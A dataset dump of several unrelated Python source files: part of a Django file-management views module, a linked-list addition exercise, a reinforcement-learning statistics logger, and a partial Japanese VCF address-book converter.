+\"/\")\n\n# Form to allow for additional files to be attached to a track\nclass UploadRelatedFilesEventForm(forms.Form):\n eventname = forms.CharField(max_length=200)\n collection = forms.ChoiceField(widget=forms.RadioSelect)\n checkprocess = forms.MultipleChoiceField(widget=forms.CheckboxSelectMultiple())\n description = forms.CharField(widget=forms.Textarea(attrs={'cols': 40, 'rows': 5}))\n \n def __init__(self, *args, **kwargs):\n super(UploadRelatedFilesEventForm, self).__init__(*args, **kwargs)\n alltools = ToolFile.objects.order_by('-versionnumber')\n collectiontools = []\n checkprocesstools = []\n for tool in alltools:\n if tool.purpose == '1':\n collectiontools.append(tool)\n if tool.purpose == '2':\n checkprocesstools.append(tool)\n self.fields['collection'] = forms.ChoiceField(widget=forms.RadioSelect, choices=[ (o.id, o.tooltitle + ' -> v' + str(o.versionnumber) ) for o in collectiontools])\n self.fields['checkprocess'] = forms.MultipleChoiceField(widget=forms.CheckboxSelectMultiple(), choices=[ (o.id, o.tooltitle + ' -> v' + str(o.versionnumber) ) for o in checkprocesstools])\n \n# Handles the additional track file upload request\ndef uploadRelatedFile(request):\n event_name = request.POST['eventname']\n descript = request.POST['description']\n fileList = request.FILES.getlist('selectedfiles')\n trackObj = User.objects.get(user_name=request.session['user'])\n current_track = int(request.session['currenttrack'])\n now=timezone.now()\n selectedcheckprocesslist = ''\n for toolid in request.POST.getlist('checkprocess'):\n selectedcheckprocesslist = str(toolid) + ',' + selectedcheckprocesslist\n try:\n selectedcollect = request.POST['collection']\n selectedtools = selectedcheckprocesslist + ',' + str(selectedcollect)\n except:\n selectedtools = ''\n currentrack = Track.objects.get(id=int(current_track))\n trackevent = TrackFileEvent(eventname=event_name,uploader=trackObj,track=currentrack,description=descript,uploaded_date=now,toolsused=selectedtools)\n trackevent.save()\n pathtouploadeventfolder = CURRENTLOCATION + 'relatedfiles/' + str(request.session['currenttrack']) + '/' + event_name\n os.makedirs(pathtouploadeventfolder)\n filenames = []\n for file in fileList:\n withproperpath = pathtouploadeventfolder + '/' + file.name\n fd = open(withproperpath, 'wb+')\n for chunk in file.chunks():\n fd.write(chunk)\n fd.close()\n trackfile = TrackFiles(filename=file.name,trackfilevent=trackevent,toolsused=selectedtools)\n trackfile.save()\n withproperpath = pathtouploadeventfolder + '/' + str(file.name)\n filenames.append(withproperpath)\n zip_filename = pathtouploadeventfolder + '/' + event_name + '.zip'\n try:\n os.remove(zip_filename)\n zf = zipfile.ZipFile(zip_filename, 'w')\n except:\n #do nothing\n zf = zipfile.ZipFile(zip_filename, 'w')\n for fpath in filenames:\n fdir, fname = os.path.split(fpath)\n zip_path = os.path.join(event_name, fname)\n zf.write(fpath, zip_path)\n zf.close()\n return redirect(\"/basicsite/specifictrack/\" + request.session['currenttrack'] +\"/\")\n \n# Download all the files in an upload event on a track\ndef downloadRelatedEventFiles(request, relatedevent_id):\n relatedevent_id = int(relatedevent_id)\n trackfilevent = TrackFileEvent.objects.get(id=relatedevent_id)\n pathtouploadeventfolder = CURRENTLOCATION + 'relatedfiles/' + str(request.session['currenttrack']) + '/' + trackfilevent.eventname\n zip_filename = pathtouploadeventfolder + '/' + trackfilevent.eventname + '.zip'\n event_handle = open(zip_filename, 'rb')\n response = HttpResponse(event_handle, content_type='application/zip')\n response['Content-Disposition'] = 'attachment; filename=' + trackfilevent.eventname + '.zip'\n return response\n\n# Download a single file in an upload event\ndef downloadSingleRelatedEventFile(request, relatedfile_id):\n relatedfile_id = int(relatedfile_id)\n trackfile = TrackFiles.objects.get(id=relatedfile_id)\n trackfilevent_id = trackfile.trackfilevent.id\n trackfilevent = TrackFileEvent.objects.get(id=trackfilevent_id)\n pathtouploadeventfolder = CURRENTLOCATION + 'relatedfiles/' + str(request.session['currenttrack']) + '/' + trackfilevent.eventname\n zip_filename = pathtouploadeventfolder + '/' + trackfile.filename\n event_handle = open(zip_filename, 'rb')\n response = HttpResponse(event_handle)\n response['Content-Disposition'] = 'attachment; filename=' + trackfile.filename\n return response\n \n# Delete an entire upload event for a track\ndef deleteAllFilesInEvent(request, relatedevent_id):\n relatedevent_id = int(relatedevent_id)\n trackfilevent = TrackFileEvent.objects.get(id=relatedevent_id)\n pathtouploadeventfolder = CURRENTLOCATION + 'relatedfiles/' + str(request.session['currenttrack']) + '/' + trackfilevent.eventname\n shutil.rmtree(pathtouploadeventfolder)\n alltrackfiles = TrackFiles.objects.all()\n for trackfile in alltrackfiles:\n if trackfile.trackfilevent.id == trackfilevent.id:\n trackfile.delete()\n trackfilevent.delete()\n return redirect(\"/basicsite/specifictrack/\" + request.session['currenttrack'] +\"/\")\n \n# Delete a file for a track, and reform the event zip file\ndef deleteSingleRelatedFile(request, relatedfile_id):\n relatedfile_id = int(relatedfile_id)\n trackfile = TrackFiles.objects.get(id=relatedfile_id)\n trackfilevent_id = trackfile.trackfilevent.id\n trackfilevent = TrackFileEvent.objects.get(id=trackfilevent_id)\n pathtouploadeventfolder = CURRENTLOCATION + 'relatedfiles/' + str(request.session['currenttrack']) + '/' + trackfilevent.eventname\n fileinfolder = pathtouploadeventfolder + '/' + trackfile.filename\n os.remove(fileinfolder)\n trackfile.delete()\n alltrackfiles = TrackFiles.objects.all()\n filenames = []\n for trackfile in alltrackfiles:\n if trackfile.trackfilevent.id == trackfilevent.id:\n filename = pathtouploadeventfolder + '/' + trackfile.filename\n filenames.append(filename)\n zip_filename = pathtouploadeventfolder + '/' + trackfilevent.eventname + '.zip'\n try:\n os.remove(zip_filename)\n zf = zipfile.ZipFile(zip_filename, 'w')\n except:\n #do nothing\n zf = zipfile.ZipFile(zip_filename, 'w')\n for fpath in filenames:\n fdir, fname = os.path.split(fpath)\n zip_path = os.path.join(trackfilevent.eventname, fname)\n zf.write(fpath, zip_path)\n zf.close()\n return redirect(\"/basicsite/specifictrack/\" + request.session['currenttrack'] +\"/\")\n \n# Updates the status of the track\ndef updateTrackStatus(request):\n currenttrack_id = int(request.session['currenttrack'])\n currenttrack = Track.objects.get(id=currenttrack_id)\n currenttrack.status = request.POST['newstatus']\n currenttrack.save()\n return redirect(\"/basicsite/specifictrack/\" + request.session['currenttrack'] +\"/\")\n \n# Form to handle adding more users to a specific pipeline\nclass AddToRosterForm(forms.Form):\n users = forms.MultipleChoiceField(widget=forms.CheckboxSelectMultiple())\n role = forms.CharField(max_length=30)\n \n def __init__(self, *args, **kwargs):\n self.pipeline_id = kwargs.pop('pipeline_id')\n super(AddToRosterForm, self).__init__(*args, **kwargs)\n allusers = User.objects.all()\n allroster = PipelineRoster.objects.all()\n relevantPersons = []\n for person in allroster:\n if person.pipeline_identifier.id == int(self.pipeline_id):\n relevantPersons.append(person)\n newArr=[]\n for user in allusers:\n found = False\n for person in relevantPersons: \n if person.user_identifier.id == user.id:\n found = True\n if not found:\n newArr.append(user)\n self.fields['users'] = forms.MultipleChoiceField(widget=forms.CheckboxSelectMultiple, choices=[ (o.id, o.user_name ) for o in newArr])\n \n# Assign a user to the pipeline (response to the AddToRosterForm)\ndef assignUserToPipeline(request):\n selectedpeeps = request.POST.getlist('users')\n p_id = request.session['currentpipeline']\n pipelineObj = Pipeline.objects.get(id=int(p_id))\n for user_id in selectedpeeps:\n userObj = User.objects.get(id=int(user_id))\n pipelineRosterObj = PipelineRoster(user_identifier=userObj,pipeline_identifier=pipelineObj,pipeline_role=request.POST['role'])\n pipelineRosterObj.save()\n return redirect('/basicsite/specificpipeline/' + str(request.session['currentpipeline']) +'/')\n \n# Handles a comment post to the Pipeline Message Board\ndef postPipelineComment(request):\n commenttext = request.POST['commentbox']\n if commenttext != '':\n username = request.session['user']\n user = User.objects.get(user_name=username)\n now = timezone.now()\n p_id = request.session['currentpipeline']\n pipelineObj = Pipeline.objects.get(id=int(p_id))\n comment = CommentPipeline(text=commenttext,author=user,posted_date=now,pipeline=pipelineObj)\n comment.save()\n request.session['messageboard'] = 'open'\n return redirect('/basicsite/specificpipeline/' + str(request.session['currentpipeline']) +'/')\n \n# Deletes a video from a specific event, and reforms the event zip\ndef deleteVideo(request, video_id, event_id):\n video_id = int(video_id)\n event_id = int(event_id)\n eventObj = Event.objects.get(id=event_id)\n #userObj = User.objects.get(user_name=request.session['user'])\n allvideos = Video.objects.all()\n videos = []\n for video in allvideos:\n if video.event.id == eventObj.id:\n if video.id == video_id:\n targetVideo = video\n else:\n videos.append(video)\n pathtouploadeventfolder = CURRENTLOCATION + 'videos/' + eventObj.name\n fileinfolder = pathtouploadeventfolder + '/' + str(targetVideo.video_number) + '.zip'\n os.remove(fileinfolder)\n targetVideo.delete()\n filenames = []\n for video in videos:\n if video.event.id == eventObj.id:\n filename = pathtouploadeventfolder + '/' + str(video.video_number) + '.zip'\n filenames.append(filename)\n zip_filename = pathtouploadeventfolder + '/' + eventObj.name + '.zip'\n try:\n os.remove(zip_filename)\n zf = zipfile.ZipFile(zip_filename, 'w')\n except:\n #do nothing\n zf = zipfile.ZipFile(zip_filename, 'w')\n for fpath in filenames:\n fdir, fname = os.path.split(fpath)\n zip_path = os.path.join(eventObj.name, fname)\n zf.write(fpath, zip_path)\n zf.close()\n return redirect(\"/basicsite/videos/\")\n \n# Remove a selected tool from use within a pipeline\ndef removePipelineTool(request, toolID):\n toolID=int(toolID)\n pipelineToolObject = PipelineTools.objects.get(tool_id=toolID,pipeline_id=request.session['currentpipeline'])\n pipelineToolObject.delete()\n return redirect('/basicsite/specificpipeline/' + str(request.session['currentpipeline']) +'/')\n \n# Deletes pipeline, however keeps all the relevant files in the files system as a backup\ndef deletePipeline(request,pipelineID):\n pipelineID = int(pipelineID)\n pipelineObj = Pipeline.objects.get(id=pipelineID)\n pipelineRoster = PipelineRoster.objects.all()\n for person in pipelineRoster:\n if person.pipeline_identifier.id == pipelineObj.id:\n person.delete()\n allpipelinecomments = CommentPipeline.objects.all()\n for comment in allpipelinecomments:\n if comment.pipeline.id == pipelineObj.id:\n comment.delete()\n alltracks = Track.objects.all()\n alltrackcomments = CommentTrack.objects.all()\n alltrackevents = TrackFileEvent.objects.all()\n for track in alltracks:\n if track.pipeline_identifier.id == pipelineObj.id:\n for comment in alltrackcomments:\n if comment.track.id == track.id:\n comment.delete()\n for event in alltrackevents:\n if event.track.id == track.id:\n event.delete()\n track.delete()\n pipelineObj.delete()\n return redirect('/basicsite/pipelines/')\n \n# Removes a track and relevant comments, however keeps all the relevant files in the file system as a back up \ndef removeTrack(request,trackID):\n trackID = int(trackID)\n track = Track.objects.get(id=trackID)\n alltrackcomments = CommentTrack.objects.all()\n alltrackevents = TrackFileEvent.objects.all()\n for comment in alltrackcomments:\n if comment.track.id == track.id:\n comment.delete()\n for event in alltrackevents:\n if event.track.id == track.id:\n event.delete()\n track.delete()\n return redirect('/basicsite/specificpipeline/' + str(request.session['currentpipeline']) +'/')\n \n \n ","repo_name":"undiscovrd/djangosite","sub_path":"mysite/basicsite/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":52080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35725898718","text":"#!/usr/bin/env python2\n#-*- coding:utf-8 -*-\n\n\"\"\" Add Two Numbers II : Таѕ\"\"\"\n\nclass ListNode:\n\tdef __init__(self,val):\n\t\tself.val = val\n\t\tself.next = None\t\t\n\ndef trans_to_stack(l):\n\tstack = []\n\tfor elem in l:\n\t\tstack.append(elem)\n\treturn stack\n\t\ndef add_two_numbers(l1,l2):\n\tstack_1 = trans_to_stack(l1)\t\n\tstack_2 = trans_to_stack(l2)\n\tp_node = None\n\tpromote = 0\n\twhile len(stack_1) > 0 or len(stack_2) > 0:\n\t\ta , b = 0,0\n\t\tif len(stack_1) > 0:\n\t\t\ta = stack_1.pop()\n\t\tif len(stack_2) > 0:\n\t\t\tb = stack_2.pop()\n\t\tc = a + b + promote\n\t\tpromote = c % 10\n\t\tc = c / 10\n\t\tnew_n = ListNode(c)\n\t\tif p_node is None:\n\t\t\tp_node = new_n\n\t\telse:\n\t\t\tnew_n.next = p_node\n\t\t\tp_node = new_n\n\treturn p_node\n\n\n\n\n\n\n","repo_name":"WeeJang/basic_algorithm","sub_path":"AddTwoNumber.py","file_name":"AddTwoNumber.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"555187052","text":"from collections import defaultdict\nimport numpy as np\nimport math\nimport tensorflow as tf\n\n\nclass Statistics(object):\n\n def __init__(self, summary_writer=None, iteration=None):\n self._dict = defaultdict(list)\n self._summary_writer = summary_writer\n self._iteration = iteration\n self._metrics = {\n 'advantage': (self.avg, 'advantage'),\n 'episode_reward': (self.avg, 'episode_reward'),\n 'episode_steps': (self.avg, 'episode_steps'),\n 'training_steps': (self.avg, 'training_steps'),\n 'training_episodes': (self.avg, 'training_episodes'),\n 'evaluation_episodes': (self.avg, 'eval_episodes'),\n 'replay_buffer_beta': (self.avg, 'replay_beta'),\n 'replay_buffer_size': (self.max, 'replay_buffer_size'),\n 'replay_buffer_trajectories': (\n self.max, 'replay_buffer_trajectories'),\n 'q': (self.avg, 'q'),\n 'q_start': (self.avg, 'q_start'),\n 'q_next_overestimate': (self.avg, 'q_next_overestimate'),\n 'q_next_err': (self.avg, 'q_next_err'),\n 'q_next_err_std': (self.avg, 'q_next_err_std'),\n 'loss': (self.avg, 'loss'),\n 'loss_actor': (self.avg, 'loss_actor'),\n 'loss_critic': (self.avg, 'loss_critic'),\n 'epsilon': (self.avg, 'epsilon'),\n 'steps_per_second_env': (self.rate, 'env_time'),\n 'steps_per_second': (self.rate, 'step_time'),\n 'steps_per_second_optimization': (self.rate, 'optimization_time'),\n 'ppo_optimization_epochs': (self.sum, 'ppo_optimization_epochs'),\n 'ppo_optimization_samples': (self.avg, 'ppo_optimization_samples'),\n 'noise_value_fc1': (self.avg, 'noise_value_fc1'),\n 'noise_value_fc2': (self.avg, 'noise_value_fc2'),\n 'noise_advantage_fc1': (self.avg, 'noise_advantage_fc1'),\n 'noise_advantage_fc2': (self.avg, 'noise_advantage_fc2'),\n 'noise_fc1': (self.avg, 'noise_fc1'),\n 'noise_fc2': (self.avg, 'noise_fc2'),\n 'return': (self.avg, 'return'),\n 'baseline': (self.avg, 'baseline'),\n 'entropy': (self.avg, 'entropy'),\n 'grad_max': (self.max, 'grad_max'),\n 'grad_mean': (self.avg, 'grad_mean'),\n 'kl': (self.avg, 'kl'),\n 'action_variance': (self.avg, 'action_variance'),\n 'action_mu_mean': (self.avg, 'action_mu_mean'),\n 'action_mu_max': (self.avg, 'action_mu_max'),\n }\n\n def set(self, key, value):\n k = self._dict[key]\n if isinstance(value, list):\n k.extend(value)\n else:\n k.append(value)\n self._dict[key] = k\n\n def get(self, arg):\n if isinstance(arg, dict):\n d = {}\n for old_key, new_key in arg.items():\n if old_key in self._dict:\n d[new_key] = self._dict[old_key]\n return d\n if isinstance(arg, list):\n d = {}\n for key in arg:\n d[key] = self._dict[key]\n return d\n if isinstance(arg, str):\n return self._dict[arg]\n\n def set_all(self, props):\n if isinstance(props, Statistics):\n props = props._dict\n for key, val in props.items():\n self.set(key, val)\n\n def avg(self, key):\n if len(self._dict[key]) == 0:\n return 0.0\n return np.average(self._dict[key])\n\n def sum(self, key):\n return sum(self._dict[key])\n\n def max(self, key):\n if key not in self._dict:\n return None\n return max(self._dict[key])\n\n def count(self, key):\n return len(self._dict[key])\n\n def rate(self, key):\n s = self.sum(key)\n if s == 0:\n return None\n return self.count(key) / s\n\n def log(self):\n for metric, params in self._metrics.items():\n fn, key = params\n if key in self._dict:\n self._log_scalar(metric, fn(key))\n\n def _log_scalar(self, tag, value):\n if value is None or math.isnan(value):\n return\n s = tf.Summary(\n value=[tf.Summary.Value(tag=tag, simple_value=value)])\n self._summary_writer.add_summary(s, self._iteration)\n","repo_name":"vladhc/rl-udacity","sub_path":"rl/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":4325,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"22956716123","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# ドコモのらくらくスマートフォン3（F-06F）のアドレス帳データ(VCF)を\n# グループ単位にソート＆分割＆変換\n# 20200621 　初版\n# 20200920 　コメント追加。引数見直し。\n# 20200921 　convVCF()の復帰値に、出力ファイル名一覧を追加\n# グループ名の一行出力を標準出力時だけに変更\n# 20201124 NからFNを求める論理が動いてなかった問題を修正\n\nimport sys\nimport codecs\nimport os\nimport re\nimport jaconv\nimport datetime\n\n# デフォルト値\n# 入力ファイルのエンコード: Windows版シフトJIS\nENCODE_DEFAULT = 'cp932'\n\n# 半角カナを半角のままとするかのフラグ(デフォルトは変換)\nHAN2HAN_DEFAULT = False\n\n# グループ毎のファイルに分割出力するかどうか\nDIVFILE_DEFAULT = False\n\n# 無視する文字列一覧\nignore_strs = [';CHARSET=SHIFT_JIS']\n\n# 処理するタグ一覧\n# key :変換後のタグ(一部仮称)\n# value :現状のタグ一覧の配列\ndocomo_tags = {\n 'BEGIN' :['BEGIN'],\n 'VERSION' :['VERSION'],\n 'END' :['END'],\n 'CATEGORIES' :['X-GN', 'X-DCM-GN-ORIGINAL'],\n 'FN' :['FN'], # Formatted name\n 'N' :['N'],\n '_SOUND' :['SOUND', 'X-DCM-SOUND-ORIGINAL', 'SORT-STRING'],\n 'X-MAIDENNAME' :['X-MAIDENNAME'], # 旧姓\n 'X-GENDER' :['X-GENDER', 'X-WAB-GENDER'],\n 'TEL' :['TEL', 'X-DCM-TEL-ORIGINAL'],\n 'EMAIL' :['EMAIL', 'X-DCM-EMAIL-ORIGINAL'],\n 'ADR' :['ADR', 'X-DCM-ADR'],\n '_POSTAL' :['X-DCM-POSTALCODE-ORIGINAL'],\n 'ORG' :['ORG'],\n 'TITLE' :['TITLE'],\n 'NOTE' :['NOTE', 'X-DCM-NOTE'],\n 'NICKNAME' :['NICKNAME'],\n 'PHOTO' :['PHOTO'],\n 'URL' :['URL', 'X-DCM-URL', 'X-DCM-URL-ORIGINAL'],\n 'ANNIVERSARY' :['ANNIVERSARY', 'X-DCM-CONTACTS_EVENT'],\n 'BDAY' :['BDAY'],\n}\n\n# Usage\ndef usage(argv0):\n '''\n Usage表示\n\n Args:\n argv0: コマンドラインのプログラム名\n\n '''\n\n print('Usage: ' + argv0 + ' {filename | -} [-u][-h][-O][--encoding=XXX][--help]', file=sys.stderr)\n print(\"\"\"\\\n\\t- : standard input file\n\\t-u : Use utf-8 instead of cp932\n\\t-h : Never convert hankaku kana to zenkakku kana\n\\t-O : Output files per group\n\\t--encoding=XXX : Specify encode\n\\t--help : print usage\n\"\"\", file=sys.stderr)\n return\n\n# グループ名ごとのデータ\n# key: グループ名\n# value: personの配列\ngroup_list = {}\n\n# VCFファイルを読み込んで変換\ndef convVCF(in_path, han2han=False, encode='cp932', divfile=False, stdout=True):\n '''\n 指定したVCFファイルを変換\n\n 変換結果は標準出力 or 単一ファイル or 複数ファイルに出力。\n\n Args:\n in_path: 入力VCFファイルのパス\n han2han: 半角カナをそのままにするフラグ\n encode : 入力ファイルのエンコード。デフォルトは cp932(Windows版シフトJIS)\n divfile: グループ毎の複数のファイルに分割出力するかのフラグ\n stdout : 変換結果を標準出力するかファイル出力するかのフラグ\n\n Returns:\n out_files: 出力ファイル名の一覧(標準出力の場合は空っぽ)\n\n '''\n\n # ファイル読み込み\n lines = read_file(in_path, han2han, encode)\n\n # 入力データの各行を処理\n next_person = True\n for line in lines:\n\n if next_person:\n next_person = False\n\n # 一人分のアドレス情報(ハッシュ)を初期化\n # key :変換後のタグ(一部仮称)\n # value :subtag, valueのペア(*)の配列\n # *: item = {'subtags':subtags, 'value':value}\n person = {}\n\n # 一人分のアドレスが属するグループ名一覧を初期化\n g_names = []\n\n # 一行のデータをアイテムに変換 \n tag, subtags, value = get_item(line)\n\n # グループ名と END をチェック\n if tag in docomo_tags['CATEGORIES']:\n # グループ名\n\n if value == '':\n # valueが空っぽならスキップ\n continue\n\n if value in g_names:\n # グループ名が既出ならスキップ\n continue\n\n # 新規のグループ名なら追加\n g_names.append(value)\n\n elif tag in docomo_tags['END']:\n # 一人分のアドレス情報終了\n\n # 次のループで一人分のアドレス情報を初期化\n next_person = True\n\n # valueが空っぽかチェック\n # ( ; を無視)\n tmp_str = re.sub(';', '', value)\n if tmp_str == '':\n # valueが空っぽなら次へ\n continue\n\n # 一人分のアドレス情報にアイテムを追加\n add_item(person, tag, subtags, value)\n\n if next_person:\n # グループ単位の配列に一人のアドレス情報を追加\n add_person(group_list, g_names, person)\n\n # end of for()\n \n # 最後の目印なしで抜けた?\n if next_person != True:\n # グループ単位の配列に追加\n add_person(group_list, g_names, person)\n\n # 以上で読み込んだデータの整理完了\n\n # 現在時刻\n dt_now = datetime.datetime.now()\n dt_str = dt_now.strftime('%Y%m%d%H%M%S')\n\n # 出力ファイル名一覧\n out_files = []\n\n # VCARD 3.0に変換\n for g_name in group_list.keys():\n if divfile:\n # 複数ファイルに分割出力\n out_file = dt_str + g_name + '.VCF'\n f = open(out_file, mode='w')\n\n # 出力ファイル名を追加\n out_files.append(out_file)\n\n elif stdout:\n # 標準出力\n f = sys.stdout\n print('### Group Name:[' + g_name + ']')\n\n else:\n # 単一ファイルに出力\n out_file = dt_str + '_converted' + '.VCF'\n f = open(out_file, mode='a')\n\n # 出力ファイル名を追加\n if out_file not in out_files:\n out_files.append(out_file)\n\n for person in group_list[g_name]:\n\n # 変換\n # (複数のグループに属する場合で変換２回目はNOP)\n conv_person(person)\n\n items = person['BEGIN']\n put_item(f, 'BEGIN', items[0])\n\n items_end = person['END']\n\n # BEGIN, END, _CONVERTED 以外の残りを順に出力\n for tag in person.keys():\n if tag in ['BEGIN', 'END', '_CONVERTED']:\n continue\n\n items = person[tag]\n for item in items:\n put_item(f, tag, item)\n\n put_item(f, 'END', items_end[0])\n\n if f != sys.stdout:\n f.close()\n\n return out_files\n\n# 引数を解析して、入力ファイル名を取得\ndef ana_arg(*argv):\n '''\n コマンドライン引数を解析\n\n Args:\n *argv: コマンドライン引数(可変長)\n\n Returns:\n rc : 復帰値\n file_name : 入力ファイルのパス\n han2han : 半角カナをそのままにするフラグ\n encode : 入力ファイルのエンコード。デフォルトは cp932(Windows版シフトJIS)\n divfile : グループ毎の複数のファイルに分割出力するかのフラグ\n '''\n\n global ENCODE_DEFAULT\n global HAN2HAN_DEFAULT\n global DIVFILE_DEFAULT\n\n encode = ENCODE_DEFAULT\n han2han = HAN2HAN_DEFAULT\n divfile = DIVFILE_DEFAULT\n\n OPT_ENCODE = '--encoding='\n\n rc = 0\n file_name = ''\n\n loop = True\n while loop:\n loop = False # 実際にはループしない。returnを一箇所にまとめたいだけ。\n\n if len(argv) < 2:\n usage(argv[0])\n rc = -1\n break\n\n if argv[1] == '-':\n # 標準入力\n file_name = sys.stdin.fileno()\n \n elif argv[1][:1] == '-':\n usage(argv[0])\n rc = -1\n break\n\n else:\n file_name = sys.argv[1]\n\n if not os.path.isfile(file_name):\n print('File not found.', file=sys.stderr)\n rc = -2\n break\n \n if len(sys.argv) >= 3:\n i = 2\n while i < len(argv):\n\n if argv[i] == '-u':\n encode = 'utf-8'\n\n elif argv[i][:len(OPT_ENCODE)] == OPT_ENCODE:\n encode = argv[i][len(OPT_ENCODE):]\n\n elif argv[i] == '-h':\n han2han = True\n\n elif argv[i] == '-O':\n divfile = True\n\n elif argv[i] == '--help':\n usage(argv[0])\n rc = -1\n break\n\n i += 1\n \n # end of while loop\n\n return rc, file_name, han2han, encode, divfile\n\n# データ読み込み\ndef read_file(in_path, han2han=False, encode='cp932'):\n '''\n データを読み込む\n\n Args:\n in_path: 入力ファイルのパス\n han2han: 半角カナをそのままにするフラグ\n encode : 入力ファイルのエンコード。デフォルトは cp932(Windows版シフトJIS)\n\n Returns:\n lines: ファイルを読んだ結果。各要素が一行分の文字列の配列 \n '''\n\n lines = []\n\n with codecs.open(in_path, 'r', encode) as f:\n \n # 一行単位で標準入力\n for line in f:\n str = line.rstrip()\n\n # 空行は無視\n if len(str) == 0:\n continue\n\n if not han2han:\n # 半角カナ -> 全角\n str = jaconv.h2z(str)\n\n # 要素を追加\n lines.append(str)\n\n return lines\n\n# 一行のデータをアイテムに変換\ndef get_item(line):\n '''\n 一行のデータをアイテムに変換\n\n Args:\n line: 1行分のデータ(1個の文字列)\n 例: \"TEL;VOICE;09012345678\"\n\n Returns:\n tag : タグ。例だと\"TEL\"\n subtags : サブタグ。複数でも可能。例だと\"VOICE\"\n value : 値。例だと\"09012345678\"\n '''\n\n # 無視する文字列を除外\n for ignore_str in ignore_strs:\n line = re.sub(ignore_str, '', line)\n\n # タグと値に分離\n tags, value = re.split(':', line, 1)\n\n # タグからサブタグ(複数可)を分離\n tag, *subtags = re.split(';', tags)\n\n ## 値を分離\n #values = re.split(';', value)\n\n return tag, subtags, value\n\n# アイテムをアドレス情報に追加\ndef add_item(person, old_tag, subtags, value):\n '''\n アイテムをアドレス帳に追加\n\n タグを変換したものをキーとする辞書に、サブタグと値を追加する。\n 追加する時重複排除。\n\n Args:\n person : 一人分のアドレス情報。タグをキーにした辞書。\n old_tag : 変換前のタグ\n subtags : サブタグ\n value : 値\n\n Returns:\n -\n '''\n\n # タグを変換\n tag = ''\n for key in docomo_tags.keys():\n # 引数の old_tagが docomo_tags[key]一覧に一致するか？\n if old_tag in docomo_tags[key]:\n # 一致する場合、keyに変換\n tag = key\n break\n if tag == '':\n # タグを変換できず -> NOP\n return\n\n # (重複排除の前に) X-IRMC-N の subtagsを無視\n subtags = [x for x in subtags if not x == 'X-IRMC-N']\n\n # subtag, valueをアイテムとしてまとめる\n item = {'subtags':subtags, 'value':value}\n\n # 既に変換後のタグがアドレス情報にあるか?\n if tag in person.keys():\n # 既にある\n\n # 重複排除\n isHit = False\n # 変換後のタグに対応するアイテム一覧をなめる\n for tmp_item in person[tag]:\n if tmp_item == item:\n # 同じアイテムが既に存在\n isHit = True\n break\n if isHit:\n return\n else:\n # 新規タグ\n person[tag] = []\n\n # アドレス情報として追加\n person[tag].append(item)\n\n return\n\n# グループ毎の配列に要素追加\ndef add_person(group_list, g_names, person):\n '''\n グループ毎の配列に要素追加\n\n Args:\n group_list: グループ毎の属している人の配列\n g_names : グループ名の配列。各グループに追加する。\n person : 一人分のデータ\n\n Returns:\n -\n '''\n\n # グループ名の個数が 0ならデフォルト\n if len(g_names) == 0:\n g_names.append(\"default\")\n \n # 各グループにpersonを追加\n for g_name in g_names:\n\n # 新規のグループ名なら、グループの配列を初期化\n if not g_name in group_list.keys():\n group_list[g_name] = []\n\n # 重複チェック\n isFound = False\n for person_wk in group_list[g_name]:\n\n if 0 == compare_persons(person_wk, person):\n # 重複\n isFound = True\n break\n \n if not isFound:\n # 要素を追加\n group_list[g_name].append(person)\n\n return\n\n# 人(アイテム一覧)同士で比較\ndef compare_persons(person0, person1):\n '''\n 辞書と辞書を比較して、不一致のものを抽出\n\n Args\n - person0, person1: それぞれ一人分のアドレス情報(タグをキーにした辞書)\n\n Returns:\n - 不一致の要素の数\n '''\n tags_unmatch = [tag for tag in person0 if tag not in person1 or person0[tag] != person1[tag]]\n\n return len(tags_unmatch)\n\n# VCARD 3.0に変換\ndef conv_person(person):\n '''\n 一人分のアドレス情報をVCARD 3.0に変換\n\n Args:\n person: 一人分のアドレス情報(タグをキーにした辞書)\n\n Returns:\n -\n '''\n\n if '_CONVERTED' in person:\n # 既に変換済み\n # -> NOP\n return\n\n # 各アイテムの subtags を無条件に変換\n for key in person.keys():\n items = person[key]\n for item in items:\n # subtag を置換\n item['subtags'] = ['TYPE=' + subtag if subtag in ['VOICE', 'CELL', 'HOME', 'WORK', 'IM', 'MAIN', 'INTERNET'] else subtag for subtag in item['subtags']]\n\n # VERSION差し替え\n if 'VERSION' in person:\n items = person['VERSION']\n item = items[0]\n item['value'] = '3.0'\n\n # _SOUND を変換\n if '_SOUND' in person:\n # _SOUND のアイテムを取り出して削除\n items = person.pop('_SOUND')\n for item in items:\n # 値を分離\n values = re.split(';', item['value'], 2)\n\n # 3つを別のアイテムとして詰め直す\n if values[0] != '':\n person['X-PHONETIC-LAST-NAME'] = [{'subtags':item['subtags'], 'value':values[0]}]\n if values[1] != '':\n person['X-PHONETIC-FIRST-NAME'] = [{'subtags':item['subtags'], 'value':values[1]}]\n if values[2] != '':\n person['X-PHONETIC-MIDDLE-NAME'] = [{'subtags':item['subtags'], 'value':values[2]}]\n \n # N を変換\n if 'N' in person:\n items = person['N']\n for item in items:\n # N の値を分離\n values = re.split(';', item['value'], 4)\n while len(values) < 5:\n values.append('')\n\n # Nを再結合\n item['value'] = ';'.join(values)\n\n # FN がなければ 'N'から作って追加\n if not 'FN' in person:\n person['FN'] = [{'subtags':[], 'value':values[3] + values[1] + values[2] + values[0] + values[4]}]\n\n # ADR変換の前に '_POSTAL'があれば退避\n postal_code = ''\n if '_POSTAL' in person:\n # _POSTAL のアイテムを取り出して削除\n items = person.pop('_POSTAL')\n item = items[0]\n postal_code = item['value']\n\n # ADR を変換\n if 'ADR' in person:\n for item in items:\n # ADR の値を分離\n values = re.split(';', item['value'], 6)\n while len(values) < 7:\n values.append('')\n\n postal_of_adr = values[5]\n\n # _POSTALの値と比較して更新\n if postal_code != '':\n if postal_of_adr == postal_code:\n # _POSTAL と一致 -> NOP\n postal_code = ''\n elif postal_of_adr == '':\n # ADRに郵便番号がない -> 上書き\n postal_of_adr = postal_code\n postal_code = ''\n \n # ADRを再結合\n values[5] = postal_of_adr\n item['value'] = ';'.join(values)\n \n if postal_code != '':\n # ADRが無かった or _POSTALと不一致だった\n # -> 新規でADRを追加\n person['ADR'].append({'subtags':[], 'value':';;;;;' + postal_code + 